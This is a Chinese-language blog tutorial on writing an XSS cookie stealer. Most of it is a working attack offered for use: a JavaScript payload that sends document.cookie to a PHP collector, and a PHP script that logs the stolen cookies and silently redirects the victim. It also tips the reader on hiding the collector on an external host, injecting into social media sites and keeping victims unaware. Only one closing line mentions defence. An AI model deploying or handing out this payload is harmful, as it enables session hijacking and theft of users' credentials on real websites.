JS写XSS cookie stealer来窃取密码的步骤详解


Posted in Javascript onNovember 20, 2017

JavaScript是web中最常用的脚本开发语言,js可以自动执行站点组件,管理站点内容,在web业内实现其他有用的函数。JS可以有很多的函数可以用做恶意用途,包括窃取含有密码等内容的用户cookie。

Cookie是站点请求和保持特定访问页面的信息。Cookie含有访问的方式、时间、用户名密码等认证信息等。当用户访问给定站点时,必须使用cookie;如果攻击者可以拦截cookie,就可以利用cookie窃取用户的一些信息。对某个特定的域名,使用JS可以保存或修改用户的cookie。也就是说,如果攻击者可以利用JS查看、修改cookie,那么这可以变成一种有价值的黑客技术。

基于JS的攻击可以有效地与代码注入等技术相结合,这可能造成恶意代码在可信的网站上执行。

下面开始创建XSS cookie stealer

Step 1: 创建 HTML Test 页

首先,创建一个标准的HTML页

mkdir cookiestealer
cd cookiestealer
touch index.html

JS写XSS cookie stealer来窃取密码的步骤详解

然后,编辑index.html

nano index.html
<html>
<body>
</body>
</html>

测试页面

JS写XSS cookie stealer来窃取密码的步骤详解

Step 2: 创建Cookie

创建一个可以插入到cookie中的基本参数——字符串。这个cookie只能用于本页面中,同样的,之后的注入也应用于该页面保存的所有cookie。

<script type="text/javascript">document.cookie = "username=Null Byte";</script>

该脚本要插入到HTML的<body>部分,如下:

JS写XSS cookie stealer来窃取密码的步骤详解

如果运行该脚本的页面打开了,那么就会设定cookie,但是浏览器中不会显示任何东西。我们可以用document.write函数直接查看cookie。

document.write(document.cookie);

同样功能的脚本如下:

<script type="text/javascript">
 document.cookie = "username=Null Byte";
 document.write(document.cookie);
 </script>

JS写XSS cookie stealer来窃取密码的步骤详解

在浏览器中打开页面,就会出现如下的cookie信息:

JS写XSS cookie stealer来窃取密码的步骤详解

说明我们成功地为这个页面设置了"username=Null Byte" 的cookie。

Step 3: 用js脚本窃取Cookies

我们用来传递cookies到服务器的js字符串使用了document.cookie参数,但是我们用的是document.location中定义的url。

document.location='http://127.0.0.1/cookiestealer.php?c='+document.cookie;

在本例中,PHP文件定位到localhost(127.0.0.1)。

如果目标是社交媒体网站,脚本需要注入到该站点中,窃取的cookies要发送给黑客控制的IP或URL。

把js代码吓到<script>标签中:

<script type="text/javascript">
 document.location='http://127.0.0.1/cookiestealer.php?c='+document.cookie;
 </script>

HTML页面代码应该是下面这样:

JS写XSS cookie stealer来窃取密码的步骤详解

剩下对cookie进行处理的部分需要PHP来处理。

Step 4: 用PHP处理Cookies

在上面的例子中,窃取cookie的PHP文件是cookiestealer.php,位于127.0.0.1网址下。

在实际运行中,不能用cookiestealer.php这么明显的名字,而且应该位于外部IP或URL下。

首先,在index.html相同目录下创新PHP文件。

nano cookiestealer.php

第一个元素需要定义的是重定向页面跳转。

<?php
header ('Location:https://google.com');
?>

为了不让用户意识到可能遭到攻击,最好重定向用户到相同域下的其他页面,这样用户就不会意识到。

JS写XSS cookie stealer来窃取密码的步骤详解

重定向完成后,需要其他代码来处理cookie。

1. 分配cookie到一个变量;

$cookies = $_GET"c";

2. 定义保存cookie的文件,这个文件保存的位置应该是我们控制的。

本例中,文件名为log.txt。

$file = fopen('log.txt', 'a');

3. 把上面的两个参数的内容写入log文件,即将cookie写入log.txt。

fwrite($file, $cookies . "nn");

代码如下:

JS写XSS cookie stealer来窃取密码的步骤详解

然后,需要准备PHP文件的测试环境。

Step 5: 测试Cookie Stealer

在index.html 和 cookiestealer.php相同目录下,搭建一个测试用的PHP环境。

php -S 127.0.0.1:80

JS写XSS cookie stealer来窃取密码的步骤详解

页面测试成功。

JS写XSS cookie stealer来窃取密码的步骤详解

打开页面之后,浏览器会马上重定向到预定义的网站,即Google。

JS写XSS cookie stealer来窃取密码的步骤详解

查看PHP服务器的日志,我们注意到传递给php文件一个参数,而且php代码执行了。

JS写XSS cookie stealer来窃取密码的步骤详解

最后,我们可以检查我们网站目录下的log.txt文件来查看cookies。

cat log.txt

JS写XSS cookie stealer来窃取密码的步骤详解

Log文件中含有cookie的内容,说明我们成功的使用js代码窃取了cookies。

Step 6: 攻击

Cookies含有重要的用户信息,一般是明文的,有时甚至含有私钥信息。所以非常重要,使用js代码注入可以窃取用户的cookies信息。

该攻击可以注入到任何的HTML文件的<script>标签中。常用的检测XSS的方法是使用alert。

<script>alert("Alert");</script>

该脚本会尝试打开类似下面的alert信息。如果打开了,说明网站易受到xss攻击。

JS写XSS cookie stealer来窃取密码的步骤详解

在现实的攻击中,黑客会特别注意PHP文件的位置。如果处理得不好,php文件会容易暴露黑客的位置。如果这种攻击出现了,那么根据cookie被发送和保存的位置,可以追踪黑客。

上面的方法说明了JS作为攻击工具的强大性。JS可以让web更方便 ,如果某个网站易受到恶意JS注入,这会给用户和网站带来巨大的安全威胁。预防XSS攻击的重担落在了web开发者的身上。如果用户认为运行在网站上的脚本是不可信的,也可以使用NoScript来阻止js代码的运行。

总结

以上所述是小编给大家介绍的JS写XSS cookie stealer来窃取密码的步骤详解,希望对大家有所帮助,如果大家有任何疑问请给我留言,小编会及时回复大家的。在此也非常感谢大家对三水点靠木网站的支持!

Javascript 相关文章推荐
静态图片的十一种滤镜效果--不支持Ie7及非IE浏览器。
Mar 06 Javascript
jQuery实现网站添加高亮突出显示效果的方法
Jun 26 Javascript
JS基于构造函数实现的菜单滑动显隐效果【测试可用】
Jun 21 Javascript
Js 获取、判断浏览器版本信息的简单方法
Aug 08 Javascript
Bootstrap源码解读导航条(7)
Dec 23 Javascript
js实现移动端编辑添加地址【模仿京东】
Apr 28 Javascript
Vue2.0父子组件传递函数的教程详解
Oct 16 Javascript
浅谈vue-cli 3.0.x 初体验
Apr 11 Javascript
JS的函数调用栈stack size的计算方法
Jun 24 Javascript
vue 对象添加或删除成员时无法实时更新的解决方法
May 01 Javascript
weui上传多图片,压缩,base64编码的示例代码
Jun 22 Javascript
JavaScript实现alert弹框效果
Nov 19 Javascript
浅谈Vue SSR 的 Cookies 问题
Nov 20 #Javascript
three.js中文文档学习之创建场景
Nov 20 #Javascript
Vue 中批量下载文件并打包的示例代码
Nov 20 #Javascript
VueJs 搭建Axios接口请求工具
Nov 20 #Javascript
Vue2 SSR渲染根据不同页面修改 meta
Nov 20 #Javascript
详解vue+css3做交互特效的方法
Nov 20 #Javascript
解读ES6中class关键字
Nov 20 #Javascript
You might like
php数组去除空值函数分享
2015/02/02 PHP
php函数重载的替代方法--伪重载详解
2015/05/08 PHP
yii实现使用CUploadedFile上传文件的方法
2015/12/28 PHP
img的onload的另类用法
2008/01/10 Javascript
jQuery 版本的文本输入框检查器Input Check
2009/07/09 Javascript
js setTimeout opener的用法示例详解
2013/10/23 Javascript
nodejs实现的一个简单聊天室功能分享
2014/12/06 NodeJs
javascript获取四位数字或者字母的随机数
2015/01/09 Javascript
jquery通过load获取文件的内容并跳到锚点的方法
2015/01/29 Javascript
有关Promises异步问题详解
2015/11/13 Javascript
js检测离开或刷新页面时表单数据是否更改的方法
2016/08/02 Javascript
Javascript中关于Array.filter()的妙用详解
2016/12/04 Javascript
基于jQuery实现一个marquee无缝滚动的插件
2017/03/09 Javascript
jQuery判断邮箱格式对错实例代码讲解
2017/04/12 jQuery
JS设计模式之策略模式概念与用法分析
2018/02/05 Javascript
Js通过AES加密后PHP用Openssl解密的方法
2019/07/12 Javascript
[31:01]2014 DOTA2国际邀请赛中国区预选赛5.21 CNB VS Orenda
2014/05/23 DOTA
[52:52]DOTA2上海特级锦标赛C组资格赛#1 OG VS LGD第三局
2016/02/27 DOTA
[00:32]2018DOTA2亚洲邀请赛出场——VP
2018/04/04 DOTA
Python使用Srapy框架爬虫模拟登陆并抓取知乎内容
2016/07/02 Python
Python装饰器(decorator)定义与用法详解
2018/02/09 Python
python主线程捕获子线程的方法
2018/06/17 Python
python 设置输出图像的像素大小方法
2019/07/04 Python
Python高级特性 切片 迭代解析
2019/08/23 Python
Python实现把多维数组展开成DataFrame
2019/11/30 Python
python通过nmap扫描在线设备并尝试AAA登录(实例代码)
2019/12/30 Python
新媒传信软件测试面试题
2013/02/24 面试题
大学毕业生最详细的自我评价分享
2013/11/18 职场文书
网络工程师职业规划
2014/02/10 职场文书
实习协议书范本
2014/04/22 职场文书
3的组成教学反思
2014/04/30 职场文书
党员民主生活会个人整改措施材料
2014/09/16 职场文书
事业单位聘任报告
2015/03/02 职场文书
怎样写家长意见
2015/06/04 职场文书
幽默口才训练经典句子(48句)
2019/08/19 职场文书
python基于scrapy爬取京东笔记本电脑数据并进行简单处理和分析
2021/04/14 Python